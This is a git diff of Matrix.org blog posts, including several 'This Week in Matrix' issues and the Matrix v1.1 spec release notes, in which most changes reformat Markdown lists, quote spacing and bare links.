> For simple local tests, I included [conduit](https://conduit.rs) with the Linux release. -> +> > [Source Code](https://notabug.org/Houkime/triangle) (/blog/img/MIT) +> > ![](/blog/img/YqMbtSpfsrekPIhiYJBPtzPc.png) ## Dept of Jobs 💰️ [Matthew](https://matrix.to/#/@matthew:matrix.org) reports -> Element is on the hunt for more VoIP and VR developers to help us build next-gen native Matrix video conferencing and VR/metaverse experiences on top of Matrix! If you believe the future of the metaverse should be free/libre, standards-based, open and equitable, come join the resistance! https://apply.workable.com/elementio/j/25BB112FBD/ +> Element is on the hunt for more VoIP and VR developers to help us build next-gen native Matrix video conferencing and VR/metaverse experiences on top of Matrix! If you believe the future of the metaverse should be free/libre, standards-based, open and equitable, come join the resistance! ## Dept of Ping 🏓 @@ -329,6 +346,7 @@ Halcyon is an easy to use matrix library inspired by discord.py |10|matrix.farted.net|1363| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -340,4 +358,3 @@ Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium ## That's all I know 🏁 See you next week, and be sure to stop by [#twim:matrix.org](https://matrix.to/#/#twim:matrix.org) with your updates! - diff --git a/content/blog/2021/11/2021-11-02-synapse-1-46-0-released.md b/content/blog/2021/11/2021-11-02-synapse-1-46-0-released.md index d759d9c22..f5f4cd51a 100644 --- a/content/blog/2021/11/2021-11-02-synapse-1-46-0-released.md +++ b/content/blog/2021/11/2021-11-02-synapse-1-46-0-released.md @@ -31,8 +31,8 @@ This week also saw the release of [Sydent 2.5.0](https://github.com/matrix-org/s ## Everything Else -* The Admin API to [create or modify accounts](https://matrix-org.github.io/synapse/v1.46/admin_api/user_admin_api.html#create-or-modify-account) now accepts a `user_type` field, allowing for accounts to be set as belonging to bots or support staff. -* [Password auth providers](https://matrix-org.github.io/synapse/v1.46/modules/password_auth_provider_callbacks.html) can now be implemented using the new pluggable extension module APIs. +- The Admin API to [create or modify accounts](https://matrix-org.github.io/synapse/v1.46/admin_api/user_admin_api.html#create-or-modify-account) now accepts a `user_type` field, allowing for accounts to be set as belonging to bots or support staff. +- [Password auth providers](https://matrix-org.github.io/synapse/v1.46/modules/password_auth_provider_callbacks.html) can now be implemented using the new pluggable extension module APIs. Please see the Synapse [Release Notes](https://github.com/matrix-org/synapse/blob/v1.46.0/CHANGES.md) for a complete list of changes in this release. diff --git a/content/blog/2021/11/2021-11-05-this-week-in-matrix-2021-11-05.md b/content/blog/2021/11/2021-11-05-this-week-in-matrix-2021-11-05.md index e9a77a86f..08d9706d5 100644 --- a/content/blog/2021/11/2021-11-05-this-week-in-matrix-2021-11-05.md +++ b/content/blog/2021/11/2021-11-05-this-week-in-matrix-2021-11-05.md @@ -22,36 +22,41 @@ This week we have demos from andybalaam, showcasing high contrast in Element Web [anoa](https://matrix.to/#/@andrewm:amorgan.xyz) reports -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://spec.matrix.org/unstable/proposals. -> -> +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . +> +> > ## MSC Status -> +> > **New MSCs:** +> > * [MSC3469: HTTP Range on Content Repository](https://github.com/matrix-org/matrix-doc/pull/3469) > * [MSC3468: MXC to Hashes](https://github.com/matrix-org/matrix-doc/pull/3468) > * [MSC3464: Allow Users to Post on Behalf of Other Users](https://github.com/matrix-org/matrix-doc/pull/3464) -> +> > **MSCs with proposed Final Comment Period:** +> > * *No MSCs entered proposed FCP state this week.* -> +> > **MSCs in Final Comment Period:** +> > * *No MSCs are in FCP.* -> +> > **Merged MSCs:** +> > * [MSC2946: Spaces Summary](https://github.com/matrix-org/matrix-doc/pull/2946) -> +> > ## Spec Updates -> +> > The spec release mentioned last week is happening on Tuesday - look out for a long blog post explaining all the changes, and check out the [new platform](https://spec.matrix.org) (as it stands in its current, unstable state) before it goes live. Exciting stuff! -> +> > ## Random Spec of the Week -> +> > The random spec of the week is... [MSC3217: Soft kicks](https://github.com/matrix-org/matrix-doc/pull/3217)! -> +> > Other than this sounding like something out of a workout routine, soft kicks are proposed as a hint to clients that the user has been kicked from the room, but that it was not out of moderation, but for a technical reason (the example given disconnection from an IRC network). The client can then present a different UX as opposed to a normal, "hard" kick. -> +> > Give it a read and provide feedback if the topic interests you! +> > ![](/blog/img/03141c819b0277ecf2fa3289702dca6a51c3cba6.png) ## Dept of Servers 🏢 @@ -63,11 +68,11 @@ Synapse is the reference homeserver for Matrix [callahad](https://matrix.to/#/@callahad:matrix.org) announces > This week we released [Synapse 1.46](https://github.com/matrix-org/synapse/releases/tag/v1.46.0)! This release includes a fix for the [performance regression](https://github.com/matrix-org/synapse/issues/11049) from 1.44 which could cause smaller hosts to lock up when clients reconnected after some time offline. -> +> > Synapse 1.46 also includes experimental support for [MSC3440: Threading via `m.thread` relation](https://github.com/matrix-org/matrix-doc/pull/3440), a big step toward threaded messaging in Matrix. It's otherwise mainly a bugfix release, as we've spent much of our time reviewing infrastructure and making plans to improve our resilience should we experience hardware failures similar to what took out matrix.org two weeks ago. -> +> > We continue working toward a prototype implementation of [MSC2775: Lazy loading over federation](https://github.com/matrix-org/matrix-doc/pull/2775), starting with setting up automated infrastructure to repeatedly measure the join speeds of assorted large, public rooms. Our goal is to have a rough proof of concept for lazy room joins by the end of the year. -> +> > We also released [Sydent 2.5.0](https://github.com/matrix-org/sydent/releases/tag/v2.5.0)! In addition to fixing bugs, this release passes `mypy --strict`, uses Jinja2 for templates, and supports the `room_type` field from [MSC3288](https://github.com/matrix-org/matrix-doc/pull/3288) to better differentiate between invitations to rooms and invitations to Spaces. Threads! Awesome! And lazy loading over the federation looks really promising, I can't wait for it. @@ -90,7 +95,7 @@ Keep your infra up to date, folks! [Sorunome [m]](https://matrix.to/#/@Sorunome:matrix.org) announces -> Soru has not found any time to work on the mx-puppet-* project in _very_ long. At this point, it makes sense to look for someone / multiple people to inherit the project to. So, if you are willing to pick it up, or part of it (like a single bridge, only the library, etc.), then _please_ look by [#mx-puppet-bridge:sorunome.de](https://matrix.to/#/#mx-puppet-bridge:sorunome.de). Thanks! +> Soru has not found any time to work on the mx-puppet-* project in *very* long. At this point, it makes sense to look for someone / multiple people to inherit the project to. So, if you are willing to pick it up, or part of it (like a single bridge, only the library, etc.), then *please* look by [#mx-puppet-bridge:sorunome.de](https://matrix.to/#/#mx-puppet-bridge:sorunome.de). Thanks! It's always sad when maintainers don't have time for former projects, but you can take over! @@ -109,18 +114,20 @@ Heisenbridge is a bouncer-style Matrix IRC bridge. [hifi](https://matrix.to/#/@hifi:vi.fi) reports > Release v1.5.0 🥳 +> > * Allow opening multiple simultaneous connections to the same network > * New STOP/STAHP ROOM command to end a long paste flood > * Clear channel send queue if the user gets kicked to prevent continuing flood on rejoin > * New KB ROOM command to do a proper kick & ban (contributed by GitHub user @blastrock, thanks!) -> +> > The most useful feature this week is having the ability to open multiple connections to the same network. This can be used to plumb channels with a secondary connection while using the bridge as yourself with the main one. You can also STAHP long pastes from being actually sent out completely to a channel if you weren't careful enough on Matrix side. -> +> > Upgrading from previous version to v1.5.0 will cause a small migration for every channel/pm that is open so it might take a little longer for the first startup to complete. If no multiple network connections are opened it is safe to downgrade but if someone uses the feature it will cause shenanigans for the duplicate networks in the older version. -> +> > Inject your fix from [GitHub](https://github.com/hifi/heisenbridge/releases), [PyPI](https://pypi.org/project/heisenbridge/) or [matrix-docker-ansible-deploy](https://github.com/spantaleev/matrix-docker-ansible-deploy)! -> +> > Thanks! +> > ![](/blog/img/FQWFrNPNFXhLgThxihWmlAyQ.png) As always, Heisenbridge being thoughtful towards our IRC peers. @@ -134,11 +141,11 @@ Desktop client for Matrix using Qt and C++17. [Nico](https://matrix.to/#/@deepbluev7:neko.dev) reports > We are preparing for a release! That means, if you are translator, we could use your help to get our translations [updated](https://weblate.nheko.im/projects/nheko/nheko-master/) and if you want to have a bug fixed before release, now is the time to report it or complain about it! Please come and see us in [#nheko:nheko.im](https://matrix.to/#/#nheko:nheko.im) for complaints and questions! -> +> > We saw a lot of translation updates by Linerly, Priit and Thulinma already. The click ghosting issue in the room list should be fixed as well as the crash when accepting an invite from your browser. You can now register on matrix.org again, after fighting with some... [reality deforming wording in the spec](https://github.com/matrix-org/matrix-doc/pull/3471). Notifications on macOS now use the "modern" API for notifications, including grouping notifications by room. (Expect more fancy improvements there in the future!) The warning about mentioning the whole room now vanishes properly, hiding space children from the roomlist now doesn't hide them from the space itself anymore, the loading spinner shouldn't show in a fully loaded room again, the room directory search bar is now focused by default and a few smaller fixes. -> +> > We also completed the bootstrapping UI now. This means you get prompted for unverified devices, when your device isn't verified or when cross-signing isn't configured for your account yet and you are given ways to remedy that. -> +> > We have a few more bug fixes we want to land before the release, so don't expect it tomorrow, but we have the featureset down now. And if you thought the changes listed in this snippet are long, wait for the full release changelog. It will probably take a few days for me to tidy that up and I think this will be our biggest release yet! Happy testing, everyone! ### Hydrogen [↗](https://github.com/vector-im/hydrogen-web) @@ -156,15 +163,15 @@ Matrix messaging app for GNOME written in Rust. [Alexandre Franke](https://matrix.to/#/@afranke:matrix.org) says > To adapt to changes in libadwaita, Marco Melorio [removed a deprecated class](https://gitlab.gnome.org/GNOME/fractal/-/merge_requests/864). In the meantime, enterprisey [fixed the build by updating the Matrix Rust SDK dependency](https://gitlab.gnome.org/GNOME/fractal/-/merge_requests/866) and [improved Secret Service error handling](https://gitlab.gnome.org/GNOME/fractal/-/merge_requests/844). -> +> > After being away for a few month, Kévin Commaille came back with a blast. No less than three MR already, and I have a feeling he’s only getting started: -> +> > * [pretty printing for event source](https://gitlab.gnome.org/GNOME/fractal/-/merge_requests/869) > * [crash prevention on login failures](https://gitlab.gnome.org/GNOME/fractal/-/merge_requests/868) > * [several fixes for text messages](https://gitlab.gnome.org/GNOME/fractal/-/merge_requests/870) -> +> > As usual, Julian reviewed and merged all the above work, and did some of his own: -> +> > * [fixed a crash on room history loading](https://gitlab.gnome.org/GNOME/fractal/-/merge_requests/865) > * [use crossigning to verify new sessions](https://gitlab.gnome.org/GNOME/fractal/-/merge_requests/854) @@ -178,8 +185,8 @@ Everything related to Element but not strictly bound to a client > * We’re continuing to flesh out space creation screens on iOS, improving the invite flows post creation for private and public spaces. > * We’re continuing to iterate on the overall app layout on Web, to fix fundamental usability issues. -> * Expect to see some changes on develop soon, rearranging the top left corner of the app (user avatar, space names, context menu). -> * Expect to see larger experiments landing on develop soon too. We’ll share more info on these when they’re live, and everything will be opt out to not break existing workflows while we’re testing and experimenting. +> * Expect to see some changes on develop soon, rearranging the top left corner of the app (user avatar, space names, context menu). +> * Expect to see larger experiments landing on develop soon too. We’ll share more info on these when they’re live, and everything will be opt out to not break existing workflows while we’re testing and experimenting. ### Element Web/Desktop [↗](https://github.com/vector-im/element-web) @@ -192,7 +199,8 @@ Secure and independent communication, connected via Matrix. Come talk with us in > * Improved our sentry analytics data to provide more useful detail. > * Redesigned the device management section in the user settings. The new view makes it clearer how to rename devices and lets you verify them. > * This week in labs (features in labs can be accessed at develop.element.io and nightly desktop builds): -> * Threads now has a more polished UI and users can now link to events in a thread. Notifications for threads messages are being worked on and should land very soon. +> * Threads now has a more polished UI and users can now link to events in a thread. Notifications for threads messages are being worked on and should land very soon. +> > ![](/blog/img/WwlZQkSdSaijgQgwmUJGaEsA.png) ### Element iOS [↗](https://github.com/vector-im/element-ios) @@ -223,20 +231,22 @@ Secure and independent communication for Android, connected via Matrix. Come tal ### Godot-Matrix [houkime](https://matrix.to/#/@houkime:m.wfr.moe) reports - + > Godot-Matrix is a C++ module for connecting to Matrix from the [Godot Game Engine](https://godotengine.org/). > I refurbished it and the changes made it upstream now ^_^, thx vurpo! : -> https://www.matrix.org/docs/projects/sdk/godot-matrix/ -> +> +> > Changes: +> > * Fixed compilation for 3.x Godot branch > * Support plain http too for local tests with Conduit > * Respect port numbers (as per Matrix spec) > * Substantial rewrite of the example so it works -> +> > Refurbishment made with love for the participants of [FediJam 4](https://itch.io/jam/fedijam-4), a weeklong gamedev competition with the focus on fediverse and federated multiplayer (via Matrix or any other means ^_^). > It starts this Sunday at 18:00 UTC. [Chat](https://matrix.to/#/#fedijam:m.wfr.moe) -> +> +> > ![](/blog/img/vfPUnqJMwGguvBRDvHJWyNVj.png) ### Matrix-Rust-SDK-Bot-Framework-Helper [↗](https://github.com/MTRNord/mrsbfh) @@ -246,12 +256,12 @@ A toolkit for writing commandbots more efficient in rust for matrix. [MTRNord](https://matrix.to/#/@mtrnord:nordgedanken.dev) announces > MRSBFH is now available on crates.io. -> +> > Unlike other "overlay" style crates it does not follow the sdk versions using its own version number or using features. So please make sure you use the right version of the SDK with it. -> +> > Also it now has support for rusttls, the ! at the start of a command now gets correctly checked and is updated to the latest sdk. -> -> You can check it out at https://crates.io/crates/mrsbfh and https://github.com/MTRNord/mrsbfh +> +> You can check it out at and ### Halcyon [↗](https://github.com/WesR/Halcyon) @@ -260,14 +270,15 @@ Halcyon is an easy to use matrix library inspired by discord.py [gen3](https://matrix.to/#/@gen3:blackline.xyz) announces > This release brings some new non-breaking features and a small fix: +> > * Added -> - on_ready, called once the bot has logged in and online -> - send_typing, allowing the bot to signal it has received your message with the client typing event -> - improved documentation (including how to set the poll interval) +> * on_ready, called once the bot has logged in and online +> * send_typing, allowing the bot to signal it has received your message with the client typing event +> * improved documentation (including how to set the poll interval) > * Fixed -> - A sync failure when Homeservers sometimes reject or return a non json response -> -> More info at on the project at https://github.com/WesR/Halcyon . Come by and chat with us over in https://matrix.to/#/#halcyon:blackline.xyz +> * A sync failure when Homeservers sometimes reject or return a non json response +> +> More info at on the project at . Come by and chat with us over in ## Dept of Ops 🛠 @@ -278,15 +289,15 @@ The backoffice of etke.cc service [Aine](https://matrix.to/#/@aine:etke.cc) announces > Mother Miounne v2.1.0 -> +> > New release of the Commander of [etke.cc](https://etke.cc) backoffice is ~~coming~~ here! > New version brings new neat features and extends arsenal of the antispam tricks: -> +> > * [buymeacoffee](https://buymeacoffee.com) listings integration - pretty basic, but that's just a first step! So now you can list subscribers, supporters and extras purchases directly in matrix room (spolier: next releases will bring notifications about new subscribers, supporters and purchases) > * rate limiter for http forms - no one can bother you if you don't want that! So now you can configure specific rate limits per form > * enhanced email validation (mostly used in the forms module) - you had spam hosts and emails list before, but now you have MX records checks, regular expressions check and some other useful tricks to ~~hold the door~~ stop spammers > * ... and some small changes, like doc updates and auto-shrink of long messages to fit into matrix payload limits -> +> > Check out the [source code](https://gitlab.com/etke.cc/miounne), [releases](https://gitlab.com/etke.cc/miounne/-/releases), [docker images](https://gitlab.com/etke.cc/miounne/container_registry/2044748 ) and say hello in [#miounne:etke.cc](https://matrix.to/#/#miounne:etke.cc) ## Dept of Bots 🤖 @@ -303,13 +314,13 @@ The backoffice of etke.cc service [Salt](https://matrix.to/#/@salt:sal.td) announces -> [SeaGL (the Seattle GNU/Linux Conference)](https://seagl.org) is being held on Matrix Friday and Saturday, November 5th and 6th, from 9am-5pm Pacific Time. The conference is running on a customized version of element-web and a regional Matrix homeserver, found at https://attend.seagl.org -> +> [SeaGL (the Seattle GNU/Linux Conference)](https://seagl.org) is being held on Matrix Friday and Saturday, November 5th and 6th, from 9am-5pm Pacific Time. The conference is running on a customized version of element-web and a regional Matrix homeserver, found at +> > Founded in 2013, this is the conference's ninth year overall and second virtual event. Last year, the all-volunteer team built their portal on-top of KiwiIRC and Jitsi for attendees, and BigBlueButton for speakers. This year they have been relying heavily on Spaces, Subspaces, and the built-in features that have been rapidly developing within the Matrix protocol. -> +> > From their website: > > SeaGL (the Seattle GNU/Linux Conference) is a free—as in freedom and tea—grassroots technical summit dedicated to spreading awareness and knowledge about free / libre / open source software, hardware, and culture. -> > +> > > > SeaGL strives to be welcoming, enjoyable, and informative for professional technologists, newcomers, enthusiasts, and all other users of free software, regardless of their background knowledge; providing a space to bridge these experiences and strengthen the free software movement through mentorship, collaboration, and community. ### FrOSCon @@ -317,6 +328,7 @@ The backoffice of etke.cc service [Oleg](https://matrix.to/#/@oleg:fiksel.info) announces > The recording of the talk at the FrOSCon this year (in 🇩🇪) about Opsdroid with AI/ML (Rasa NLU) 😉 +> > * [Video (youtube)](https://www.youtube.com/watch?v=5sGfKUURBFs) > * [Video CCC](https://media.ccc.de/v/froscon2021-2658-matrix_-_bots) > * [Code](https://gitlab.com/olegfiksel/matrix-bots_froscon2021) @@ -325,7 +337,7 @@ The backoffice of etke.cc service [Cadair](https://matrix.to/#/@cadair:cadair.com) reports -> Following a question from someone about getting started with Matrix bots, I wrote a super quick getting started guide to writing a simple bot with opsdroid. I will probably integrate this into the opsdroid docs, or somewhere more accessible in the future, but for now here it is: https://gist.github.com/Cadair/2c64cb46fdce7499ff1c0bbb116ce29e +> Following a question from someone about getting started with Matrix bots, I wrote a super quick getting started guide to writing a simple bot with opsdroid. I will probably integrate this into the opsdroid docs, or somewhere more accessible in the future, but for now here it is: Being an innocent child, I asked: @@ -333,8 +345,8 @@ Being an innocent child, I asked: [Cadair](https://matrix.to/#/@cadair:cadair.com) answered -> I have written a few (https://github.com/Cadair/skill-motw, https://github.com/Cadair/skill-intersphinx, https://github.com/Cadair/skill-jitsi) I know that Oleg has also written a number, including many which interact with homeassistant. -> +> I have written a few (, , ) I know that Oleg has also written a number, including many which interact with homeassistant. +> > I can also go and ask for examples in [#opsdroid-general:matrix.org](https://matrix.to/#/#opsdroid-general:matrix.org) if you like? I didn't know what I had started! We almost became This Week in Opsdroid! Fortunately the Matrix community is very active and helped us keeping sovereignty over the blog. Phew! @@ -350,6 +362,7 @@ There are too many to list here, but I strongly encourage you to blend in with t Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -366,6 +379,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|matrix.liamgooch.com|4445| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -382,4 +396,3 @@ Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium ## That's all I know 🏁 See you next week, and be sure to stop by [#twim:matrix.org](https://matrix.to/#/#twim:matrix.org) with your updates! - diff --git a/content/blog/2021/11/2021-11-09-matrix-v1-1-release.md b/content/blog/2021/11/2021-11-09-matrix-v1-1-release.md index e730551aa..b7dea6cd2 100644 --- a/content/blog/2021/11/2021-11-09-matrix-v1-1-release.md +++ b/content/blog/2021/11/2021-11-09-matrix-v1-1-release.md @@ -53,35 +53,26 @@ PS: The MSC process is how changes to Matrix are made, and you (yes, you) can pr Breaking Changes - - Document `curve25519-hkdf-sha256` key agreement method for SAS verification, and deprecate old method as per [MSC2630](https://github.com/matrix-org/matrix-doc/pull/2630). ([#2687](https://github.com/matrix-org/matrix-doc/issues/2687)) - Add `m.key.verification.ready` and `m.key.verification.done` to key verification framework as per [MSC2366](https://github.com/matrix-org/matrix-doc/pull/2366). ([#3139](https://github.com/matrix-org/matrix-doc/issues/3139)) - Deprecations - - Deprecate starting verifications that don't start with `m.key.verification.request` as per [MSC3122](https://github.com/matrix-org/matrix-doc/pull/3122). ([#3199](https://github.com/matrix-org/matrix-doc/issues/3199)) - New Endpoints - - Add key backup (`/room_keys/*`) endpoints as per [MSC1219](https://github.com/matrix-org/matrix-doc/pull/1219). ([#2387](https://github.com/matrix-org/matrix-doc/issues/2387), [#2639](https://github.com/matrix-org/matrix-doc/issues/2639)) - Add `POST /keys/device_signing/upload` and `POST /keys/signatures/upload` as per [MSC1756](https://github.com/matrix-org/matrix-doc/pull/1756). ([#2536](https://github.com/matrix-org/matrix-doc/issues/2536)) - Add `/knock` endpoint as per [MSC2403](https://github.com/matrix-org/matrix-doc/pull/2403). ([#3154](https://github.com/matrix-org/matrix-doc/issues/3154)) - Add `/login/sso/redirect/{idpId}` as per [MSC2858](https://github.com/matrix-org/matrix-doc/pull/2858). ([#3163](https://github.com/matrix-org/matrix-doc/issues/3163)) - Removed Endpoints - - Remove unimplemented `m.login.oauth2` and `m.login.token` user-interactive authentication mechanisms as per [MSC2610](https://github.com/matrix-org/matrix-doc/pull/2610) and [MSC2611](https://github.com/matrix-org/matrix-doc/pull/2611). ([#2609](https://github.com/matrix-org/matrix-doc/issues/2609)) - Backwards Compatible Changes - - Document how clients can advise recipients that it is withholding decryption keys as per [MSC2399](https://github.com/matrix-org/matrix-doc/pull/2399). ([#2399](https://github.com/matrix-org/matrix-doc/issues/2399)) - Add cross-signing properties to the response of `POST /keys/query` as per [MSC1756](https://github.com/matrix-org/matrix-doc/pull/1756). ([#2536](https://github.com/matrix-org/matrix-doc/issues/2536)) - Document Secure Secret Storage and Sharing as per [MSC1946](https://github.com/matrix-org/matrix-doc/pull/1946) and [MSC2472](https://github.com/matrix-org/matrix-doc/pull/2472). ([#2597](https://github.com/matrix-org/matrix-doc/issues/2597)) @@ -103,10 +94,8 @@ PS: The MSC process is how changes to Matrix are made, and you (yes, you) can pr - Downgrade identity server discovery failures to `FAIL_PROMPT` as per [MSC2284](https://github.com/matrix-org/matrix-doc/pull/2284). ([#3169](https://github.com/matrix-org/matrix-doc/issues/3169)) - Re-version all endpoints to be `v3` as a starting point instead of `r0` as per [MSC2844](https://github.com/matrix-org/matrix-doc/pull/2844). ([#3421](https://github.com/matrix-org/matrix-doc/issues/3421)) - Spec Clarifications - - Fix issues with `age` and `unsigned` being shown in the wrong places. ([#2591](https://github.com/matrix-org/matrix-doc/issues/2591)) - Fix definitions for room version capabilities. ([#2592](https://github.com/matrix-org/matrix-doc/issues/2592)) - Fix various typos throughout the specification. ([#2594](https://github.com/matrix-org/matrix-doc/issues/2594), [#2599](https://github.com/matrix-org/matrix-doc/issues/2599), [#2809](https://github.com/matrix-org/matrix-doc/issues/2809), [#2878](https://github.com/matrix-org/matrix-doc/issues/2878), [#2885](https://github.com/matrix-org/matrix-doc/issues/2885), [#2888](https://github.com/matrix-org/matrix-doc/issues/2888), [#3116](https://github.com/matrix-org/matrix-doc/issues/3116), [#3339](https://github.com/matrix-org/matrix-doc/issues/3339)) @@ -144,20 +133,15 @@ PS: The MSC process is how changes to Matrix are made, and you (yes, you) can pr New Endpoints - - Add `/make_knock` and `/send_knock` endpoints as per [MSC2403](https://github.com/matrix-org/matrix-doc/pull/2403). ([#3154](https://github.com/matrix-org/matrix-doc/issues/3154)) - Backwards Compatible Changes - - Add cross-signing information to `GET /user/keys` and `GET /user/devices/{userId}`, `m.device_list_update` EDU, and a new `m.signing_key_update` EDU as per [MSC1756](https://github.com/matrix-org/matrix-doc/pull/1756). ([#2536](https://github.com/matrix-org/matrix-doc/issues/2536)) - Add support for knocking, as per [MSC2403](https://github.com/matrix-org/matrix-doc/pull/2403). ([#3154](https://github.com/matrix-org/matrix-doc/issues/3154)) - Spec Clarifications - - Specify that `GET /_matrix/federation/v1/make_join/{roomId}/{userId}` can return a 404 if the room is unknown. ([#2688](https://github.com/matrix-org/matrix-doc/issues/2688)) - Fix various typos throughout the specification. ([#2888](https://github.com/matrix-org/matrix-doc/issues/2888), [#3116](https://github.com/matrix-org/matrix-doc/issues/3116), [#3128](https://github.com/matrix-org/matrix-doc/issues/3128), [#3207](https://github.com/matrix-org/matrix-doc/issues/3207)) - Correct the `/_matrix/federation/v1/user/devices/{userId}` response which actually returns `"self_signing_key"` instead of `"self_signing_keys"`. ([#3312](https://github.com/matrix-org/matrix-doc/issues/3312)) @@ -168,26 +152,20 @@ PS: The MSC process is how changes to Matrix are made, and you (yes, you) can pr Spec Clarifications - - Fix various typos throughout the specification. ([#2888](https://github.com/matrix-org/matrix-doc/issues/2888)) ### Identity Service API New Endpoints - - Add `GET /_matrix/identity/versions` API as per [MSC2320](https://github.com/matrix-org/matrix-doc/pull/2320). ([#3101](https://github.com/matrix-org/matrix-doc/issues/3101)) - Removed Endpoints - - The v1 identity service API has been removed in favour of the v2 API, as per [MSC2713](https://github.com/matrix-org/matrix-doc/pull/2713). ([#3170](https://github.com/matrix-org/matrix-doc/issues/3170)) - Spec Clarifications - - Fix various typos throughout the specification. ([#2888](https://github.com/matrix-org/matrix-doc/issues/2888)) - Clarify that some identifiers must be case folded prior to processing, as per [MSC2265](https://github.com/matrix-org/matrix-doc/pull/2265). ([#3167](https://github.com/matrix-org/matrix-doc/issues/3167), [#3176](https://github.com/matrix-org/matrix-doc/issues/3176)) - Describe how [MSC2844](https://github.com/matrix-org/matrix-doc/pull/2844) affects the `/versions` endpoint. ([#3459](https://github.com/matrix-org/matrix-doc/issues/3459)) @@ -196,5 +174,4 @@ PS: The MSC process is how changes to Matrix are made, and you (yes, you) can pr Spec Clarifications - - Clarify where to get information about the various parameter values for the notify endpoint. ([#2763](https://github.com/matrix-org/matrix-doc/issues/2763)) diff --git a/content/blog/2021/11/2021-11-12-this-week-in-matrix-2021-11-12.md b/content/blog/2021/11/2021-11-12-this-week-in-matrix-2021-11-12.md index 578380479..81a078972 100644 --- a/content/blog/2021/11/2021-11-12-this-week-in-matrix-2021-11-12.md +++ b/content/blog/2021/11/2021-11-12-this-week-in-matrix-2021-11-12.md @@ -21,32 +21,37 @@ This week my guest is Greg who's been organising the Ansible Contributor Summit [anoa](https://matrix.to/#/@andrewm:amorgan.xyz) announces -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://spec.matrix.org/unstable/proposals. -> -> +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . +> +> > ### MSC Status -> +> > **New MSCs:** +> > * [MSC3480: Make device names private](https://github.com/matrix-org/matrix-doc/pull/3480) -> +> > **MSCs with proposed Final Comment Period:** +> > * *No MSCs entered proposed FCP state this week.* -> +> > **MSCs in Final Comment Period:** +> > * [MSC3283: Expose capabilities for profile actions](https://github.com/matrix-org/matrix-doc/pull/3283) (merge) -> +> > **Merged MSCs:** +> > * *No MSCs were merged this week.* -> +> > ### Spec Updates -> +> > [Matrix v1.1](https://spec.matrix.org/v1.1) was released! Read the [blog post here](https://matrix.org/blog/2021/11/09/matrix-v-1-1-release) if you missed it; it summarises everything that's new in v1.1, as well as plans for the future. Now that the new spec build pipeline and release infrastructure is in place, we're aiming for roughly quarterly releases going forward. Thank you all for being so patient in the meantime! -> +> > ### Random Spec of the Week -> +> > The random spec of the week is... [MSC1767: Extensible event types & fallback in Matrix (v2)](https://github.com/matrix-org/matrix-doc/pull/1767) (yes it really chose that). -> +> > Extensible events is something that has been a long time coming in Matrix. It unlocks so much potential, and is even currently being built on (see [MSC3381](https://github.com/matrix-org/matrix-doc/pull/3381) (polls)). Definitely one of the next big ticket items to tackle in the medium term. +> > ![](/blog/img/82954723b75aa967ef86792826b198745bbe69e2.png) ## Dept of Servers 🏢 @@ -58,11 +63,11 @@ Synapse is the reference homeserver for Matrix [dmr](https://matrix.to/#/@dmrobertson:matrix.org) says > Dan (aka callahad) is away this week, so let me report on his behalf. -> +> > We cut a release candidate for Synapse ([1.47.0rc2](https://github.com/matrix-org/synapse/releases/tag/v1.47.0rc2), but see the changelog for [rc1](https://github.com/matrix-org/synapse/releases/tag/v1.47.0rc1)). It exposes new functionality for [pluggable modules](https://matrix-org.github.io/synapse/latest/modules/index.html) and new endpoints to the [Admin API](https://matrix-org.github.io/synapse/latest/usage/administration/admin_api/index.html). We've fixed a bunch of long-standing bugs and continued to drive forward efforts to improve documentation and code quality. Thank you to all of our contributors! -> +> > With future releases in mind, we've been continuing work to support threading and E2EE application services. We've also been prototyping a new Admin API to remove users from all rooms belonging to a certain space. -> +> > Elsewhere, we've been doubling down on our effort to improve reliability and maintainability of our services as a whole. [Sydent](https://github.com/matrix-org/sydent) and [Sygnal](https://github.com/matrix-org/sygnal) have a number of PRs in flight for both, aimed at improving type coverage and driving down error noise in the logs. We've drafted a blog post to summarise the process of type annotating mypy (keep your eyes out for that one). We also worked to make the matrix.org database more resilient, and made changes to improve the experience of rolling out upgrades to Synapse en masse. ## Homeserver Deployment 📥️ @@ -81,12 +86,12 @@ Matrix Kubernetes applications packaged into helm charts [mijutu](https://matrix.to/#/@mijutu:ellipsis.fi) announces -> Vermicularis is a script for forwarding messages from Päikky to Matrix. Päikky is a parent-teacher communication website and mobile app for daycare and pre-school. git clone https://k2c42.dy.fi/git/vermicularis.git and join [#paikky:ellipsis.fi](https://matrix.to/#/#paikky:ellipsis.fi) to give feedback +> Vermicularis is a script for forwarding messages from Päikky to Matrix. Päikky is a parent-teacher communication website and mobile app for daycare and pre-school. git clone and join [#paikky:ellipsis.fi](https://matrix.to/#/#paikky:ellipsis.fi) to give feedback [mijutu](https://matrix.to/#/@mijutu:ellipsis.fi) also tells us > Päikky was created by a group of parents who wanted to make communication with daycare staff easier. They started a company and later sold it to Abilita. Päikky is currently used in 40+ municipalities in Finland and also in some private daycare companies too. -> +> > Päikky is also used for reserving daycare times for kids. ### Heisenbridge [↗](https://github.com/hifi/heisenbridge/) @@ -96,15 +101,16 @@ Heisenbridge is a bouncer-style Matrix IRC bridge. 